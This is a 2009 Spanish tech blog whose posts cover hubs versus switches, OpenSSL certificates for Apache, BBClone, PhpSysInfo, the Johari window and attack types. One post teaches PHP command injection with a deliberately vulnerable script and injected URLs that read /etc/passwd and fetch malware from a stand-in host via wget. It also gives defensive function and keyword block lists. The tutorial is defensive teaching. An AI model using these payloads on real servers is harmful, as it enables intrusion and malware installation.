16 de octubre de 2009

Hub VS Switch




¿Qué es un hub?


Un hub es un concentrador que se utiliza para la implementación de redes de datos, con lo que se permite conectar varios equipos entre ellos (topología en estrella, ver imagen de arriba).

La característica principal es que no se cuenta con tabla de ruteo; es decir, que si de una computadora se envía un paquete a otra, por ejemplo un ping, el paquete realmente será enviado a todas los equipos que se encuentren conectados al hub.

Solo responderá el equipo para el que vaya originalmente el paquete, todos los demás al recibirlo y ver que no es para ellos, simplemente lo desecharán.

Un hub puede tener diferente número de puertos dependiendo del modelo y la marca. Pueden ser de 8, 8, 16, etc.


¿Qué es un switch?

Un switch tambien es un concentrador utilizado en la implementación de redes de datos permitiendo conectar varios equipos de comunicaciones.

También los podemos encontrar de diferente número de puertos, 8, 16, 32, 48.

En el caso del switch se cuenta con una tabla de ruteo, en la que si un paquete va para un equipo determinado, se encarga de transferirlo solo al equipo que le corresponde con lo que se evitan colisiones que existían con los hubs.

Al existir este "direccionamiento" se reduce considerablemente el tráfico por lo que la transmisión de paquetes por la red es más rápida.



Por esta razón es que los hubs ya se consideran obsoletos y solo existen algunos ejemplares con muchos años de vida en las oficinas, además de que ya no son fabricados.

12 de octubre de 2009

Certificados con OpenSSL


¿Qué es?

Es un documento digital mediante el cual un tercero (AC [Autoridad Certificadora, por ejemplo Verisign]) garantiza la vinculación entre la identidad de un ente y su llave pública.

Si citamos un ejemplo de la vida real, podemos tomar el del "certificado de estudios", en el que un tercero (SEP), garantiza que cierta persona ha cubierto cierto nivel de estudios.



Otro ejemplo sería la credencial de elector, el IFE es el tercero que garantiza la identidad (entre otras cosas) de la persona a la cual se la expidió.


¿Cómo se hace?


Un certificado principalmente se compone de 3 partes:

1.- Llave privada
2.- CSR (Certificate Sign Request - Requerimiento de Firma de Certificado)
3.- CRT (Certificado como tal)

Cabe recalcar que el paso número 3, corre a cuenta de la AC (Autoridad Certificadora), aunque también podemos hacer un certificado "autofirmado"; es decir, que acudimos con un tercero para la certificación, sino que lo hacemos nosotros mismos.

Para efectos de éste artículo, se realizará un certificado con OpenSSl para apache.

A continuación escribiremos los comandos necesarios para la generación del certificado, tomando en cuenta que el dominio para el cual generaremos el certificado es: www.seguridad.com

1.- Llave privada

Teclear en la cosola de Linux/Unix:

a.- Generar archivos con datos aleatorios

$ cat /dev/urandom > rand1.dat
$ cat /dev/urandom > rand2.dat
$ cat /dev/urandom > rand3.dat

b.- Generar llave privada

$ openssl genrsa –rand rand1.dat:rand2.dat:rand3.dat \
-out www.seguridadhost.com.key

genrsa algoritmo para generar la llave







-rand datos aleatorios (generados en el punto a)







-outarchivo de salida que guardará la llave









2.- CSR (Certificate Sign Request - Requerimiento de Firma de Certificado)

$ openssl req –new –key www.seguridadhost.com.key \
-out www.seguridad.com.csr

req Solicitud de requerimiento







-new Nuevo ¬¬







-inarchivo de entrada de la llave (generado en el punto 1)







-outarchivo de salida del request del certificado








3.- CRT (Certificado como tal)

Si el certificado no es autofirmado se recurre a la AC (Autoridad Certificadora), por ejemplo Verisign para generar el certificado.

Si el certificado es autofirmado, hacemos lo siguiente:

$ openssl x509 –req –days 365 \
–in www.seguridadhost.com.csr
-signkey www.seguridadhost.com.key \
-out www.seguridadhost.com.crt

x509 Algoritmo para generar el certificado







-req requerimiento de certificado







-days Periodo de validez del certificado







-inarchivo de entrada del csr (generado en el punto 2)







-signarchivo de entrada de la llave (generado en el punto 1)







-outarchivo de salida del certificado








¿Cómo se instala?

Como es un certificado, debe ser instalado bajo el protocolo 443 (https). Para ello tenemos que hacer los siguientes pasos:

1.- Descomentar la línea que tenga el módulo de ssl en el archivo httpd.conf, sino existiera esta línea seguramente es porque no está instalado el módulo ssl.

LoadModule ssl_module lib/httpd/modules/mod_ssl.so

(Dependiendo del sistema operativo, la ruta del mod_ssl.so podría cambiar)

2.- En el archivo httpd.conf, hacer la referencia hacia el archivo que contendrá el hostvirtual de ssl.

En el httpd.conf existe una línea como esta:

#Include /etc/httpd/extra/httpd-ssl.conf

Aquí hay 2 opciones, descomentar esta línea y posteriormente editar el archivo httpd-ssl.conf (paso número 3).

3.- Editar el archivo /etc/httpd/extra/httpd-ssl.conf

Un ejemplo de lo que deberá contener el archivo para la edición del host virtual:

<VirtualHost *:443>
ServerAdmin hostmaster@seguridadhost.com
DocumentRoot /var/www/htdocs/vhost/www.seguridadhost.com
ServerName www.seguridadhost.com
ErrorLog /var/log/httpd/error_log
CustomLog /var/log/httpd/log common
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.seguridadhost.com.crt
SSLCertificateKeyFile /etc/ssl/certs/www.seguridadhost.com.key
<Directory /var/www/htdocs/vhost/www.seguridadhost.com>
Options ExecCGI FollowSymLinks
AddHandler cgi-script .cgi
AllowOverride all
Allow from all
Order allow,deny
</Directory>
</VirtualHost>

Las 3 líneas importantes que se tienen que considerar con las que están en negritas:

<VirtualHost *:443>
Se define el host virtual

SSLCertificateFile /etc/ssl/certs/www.seguridadhost.com.crt
Se hace la referencia del certificado creado

SSLCertificateKeyFile /etc/ssl/certs/www.seguridadhost.com.key
Se hace la referencia de la llave creada


4.- Por último se tendrá que reiniciar el servicio de apache.


apachectl stop
apachectl start-ssl

Cabe aclarar que en algunas distribuciones start-ssl es igual a start

9 de octubre de 2009

BBClone


¿Qué es?

BBclone es una herramienta diseñada con PHP, que nos sirve para obtener estadístiscas que entran a ciertas páginas que queramos monitorear. Si lo describimos en términos simples, es un contador de visitas a páginas de un sitio.

Entre los datos que podemos obtener del visitante son:

  • Navegadores (IE, Firefox, Opera, etc)




  • Sistema operativo (linux, unix, mac, windows




  • Extensiones (país)




  • Robots (google, av, etc)




  • Páginas más visitadas




  • Estadísticas de acceso por periodo





  • ¿De donde lo bajo?

    Se puede descargar de: http://bbclone.de/download.php

    ¿Cómo lo instalo?

    Linux
    tar -zxvf bbclone.xxx.tar.gz


    Windows

    con cualquier descompresor como winrar o winzip


    ¿Cómo se usa?


    Para usar bbclone y contabilizar las páginas del sitio, es importante agregar el siguiente código al principio de la página que se quiere contabilizar:

    <?php
    DEFINE ("_BBCLONE_DIR", "mybbclone/");
    DEFINE ("_NEW_COUNTER", _BBCLONE_DIR . "mark_page.php");
    if(file_exists(_NEW_COUNTER))
    {
    include (_NEW_COUNTER);
    }
    ?>


    Nota: es importante aclarar que el script donde se agregue, tiene que tener extensión .php o alguna otra que el servidor web reconozca para ejecutar códidgo.

    Si se deseara agregar una página como especial con algún nombre especial, se agrega la siguiente línea debajo de los DEFINE:


    DEFINE ("_BBC_PAGE_NAME","Nombre especial aquí");


    Te invitamos a que lo instales y que nos mandes tus comentarios :)

    8 de octubre de 2009

    Ventana de Johari




    La Ventana de Johari es una herramiena cuya finalidad es establecer una comunicación interpersonal mejor que la ya prevaleciente. Es un medio eficaz de retroalimentación y nos sirve además para conocernos mejor.

    Esta herramienta se compone de 4 áreas las cuales describimos más adelante:

    I. Area abierta
    Es lo que yo conozco sobre mí, y lo que otros conocen sobre mí. Es algo que no temo compartir con los demás; por ejemplo intereses, costumbres, hábitos, etc.

    II. Area oculta
    Es lo que yo conozco sobre mí, pero que los demás no conocen. Es algo que no quiero compartir con los demás, como por ejemplo un hecho bochornoso, alguna enfermedad, etc.

    III. Area ciega
    Es lo que yo NO conozco sobre mí, pero que los demás SÍ conocen. Esta es una gran área de oportunidad porque a través de retroalimentación con otras personas podemos conocernos mejor y mejorar en muchos aspectos. Por ejemplo, un mal caracter ante X situación.

    IV. Area desconocida
    Es lo que yo NO conozco sobre mí y que otros tampoco conocen. Por ejemplo puedo sufrir de vértigo sin saberlo, y en mi primer vuelo puedo reaccionar de una forma muy inesperada para mi asombro y de los demás o siemplemente experiementar algunos malestares como dolor de cabeza, etc.

    7 de octubre de 2009

    Inyección comandos en PHP

    * Toda la información contenida en este artículo es con fines académicos.

    En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.

    Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.

    Un ejemplo práctico:

    Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio

    <?

    if (trim($_GET['directorio'])!=NULL) {
    system ("mkdir {$_GET['directorio']}");

    echo "directorio creado {$_GET['directorio']}";
    }
    else
    echo "directorio vacio";

    ?>


    NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.

    En la url del navegador se escribirá algo como sigue:

    http://misitio.net/dirs/script.php?directorio=directorionuevo


    ("directorionuevo" es el directorio recién creado)

    En la línea del código:

    system ("mkdir {$_GET['directorio']}");

    se ejecuta un comando de sistema operativo con la función system para crear el directorio.

    Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:

    mkdir directorionuevo

    Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:

    mkdir directorionuevo; pwd

    Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd

    con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).

    /var/www/html/dirs/

    Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.

    Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777

    Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd

    Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:

    http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt

    El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.

    Solución

    Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.

    Aquí presentamos algunas soluciones:

  • En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo






  • No usar las funciones shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo






  • Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"






  • Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's






  • Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software:






  • <?

    foreach ($_GET as $variable => $valor)

    if (eregi("wget |curl |GET ", $valor)) {
    exit;

    }

    ?>


    Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.

    Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.

    Esperamos sus comentarios.

    6 de octubre de 2009

    PhpSysInfo


    ¿Qué es?

    PhpSysInfo es una herramienta desarrollada con php y es de gran utilidad, ya que nos provee de gran información acerca de un servidor.

    La información que podemos obtener con ésta herramienta es: el nombre canónico, la ip, la versión del kernel, los dispositivos que tiene, además de información de la memoria virtual, la memoria física (ram), así como las particiones montadas y el porcentaje de uso.

    Como podemos observar nos da mucha información que nos puede servir para la toma de decisiones referente a nuestro servidor.


    ¿De dónde la bajo?


    Se puede bajar de forma gratuita en http://phpsysinfo.sourceforge.net

    Requerimientos técnicos en el servidor

    Se debe tener instalado algún software para servidor web (como apache y IIS), así como el módulo de php.


    ¿Cómo se instala?


    Se descomprime el archivo en el htdocs configurado el servidor web.

    Linux:

    tar -zxvf phpsysinfo.xxx.tar.gz

    Windows:


    Con cualquier programa de descompresión como winrar o winzip.

    Posteriormente se debe copiar el archivo config.php.new como config.php, y listoooooo!!!!

    Algo especial

    Si queremos que el idioma sea por default español, en el archivo config.php debemos modificar la variable $default_lng:

    $default_lng='es';

    Además, si queremos que un tema, se quede por default, lo hacemos a través de la variable $default_template:

    $default_template='orange';

    Este programa por si solo no se actualiza automáticamente, si lo queremos así, debemos modificar el archivo includes\system_header.php y agregar la línea:


    echo "<META HTTP-EQUIV=REFRESH CONTENT=5>";

    (donde content contiene el # de segundos en los que se recargará la página)

    Esto debe hacerse debajo de la línea que comienza con echo "<meta http-equiv..."

    Esperamos sus comentarios ;)

    Ataques (clasificación simple)


    Seguramente todos hemos escuchado alguna vez sobre que alguien o algo fue atacado, por unos seres malévolos y sin escrúpulos.

    Se ven en películas a misteriosos seres llamados hackers (de los cuales no hablaremos en esta ocasión), que se encargan de poner en tela de juicio la fortaleza de sistemas de seguridad en las empresas o en los gobiernos, realizando numerosos ataques con los cuales vulneran nuestra seguridad.

    Pero si nos preguntáramos ¿qué es un ataque?, ¿qué podríamos decir?.

    Un ataque es la acción de explotar una vulnerabilidad. Pongamos una analogía para ejemplificarlo:

    En la serie "El señor de los Anillos", en la segunda película (Las torres gemelas), el rey de Rojan, trata de proteger a su pueblo en el "Avismo de Helm", que cuenta con una muralla impenetrable, pero tiene un punto débil el cual es un simple desagüe.

    No importa que tan bien haya estado el muro porque finalmente se explotó una vulnerabilidad (el desagüe) y con ello se logra pasar por la poderosa muralla, haciendo estallar una bomba.

    Entre los ataques, independientemente de su nombre coloquial (DOS, spam, OS Finger Print, etc), podemos hacer la siguiente clasificación:

    Interrupción

    Este ataque consiste en que una solicitud de información o un flujo normal de información, sea detenido por un ente extraño; por ejemplo: dejar a alguien sin red (desconectar el cable)

    Intercepción
    Este ataque también se le llama "Man In The Middle" (Hombre En Medio). Consiste en que hay un intruso en el canal para obtener parte del mensaje o incluso el mensaje completo. Por ejemplo, podemos estar haciendo una transferencia desde el portal web de nuestro banco y entonces puede haber alguien que este capturando el tráfico de la red y con ello nuestro NIP y demás datos. Esto comúnmente se lleva a cabo con un programa especial llamado sniffer!!!

    Modificación
    El siguiente ataque, llamado de modificación, es otra variación del MITM descrito arriba, pero la diferencia es que toma el mensaje, después hace una modificación y posteriormente es entregado al destinatario.


    Fabricación

    Aunque no exista ningún mensaje, se genera alguno simulando que se ha creado desde el origen o simplemente se genera para obtener algún tipo de recurso.
    Por ejemplo, el intentar entrar a una cuenta de correo con múltiples combinaciones (Brute Force), mandando spam, etc.


    Más adelante nos avocaremos a varios de los diferentes ataques que hay, para ejemplificarlos y tener una idea más certera de lo que provocan.

    Esperamos tus comentarios.

    No hay peor inicio, que el que nunca llega ;)


    Hola a todos, los saludos de un lugar recóndito y escondido de la República Mexicana, dándoles una calurosa bienvenida a este blog, donde no les prometo mucha diversión y algarabía, pero sí compartir un pequeño espacio donde podamos expresar algunos tópicos y algunas ideas que nos parezcan interesantes.

    Veamos como funciona ésto y cuanto tiempo nos dura el gusto ;).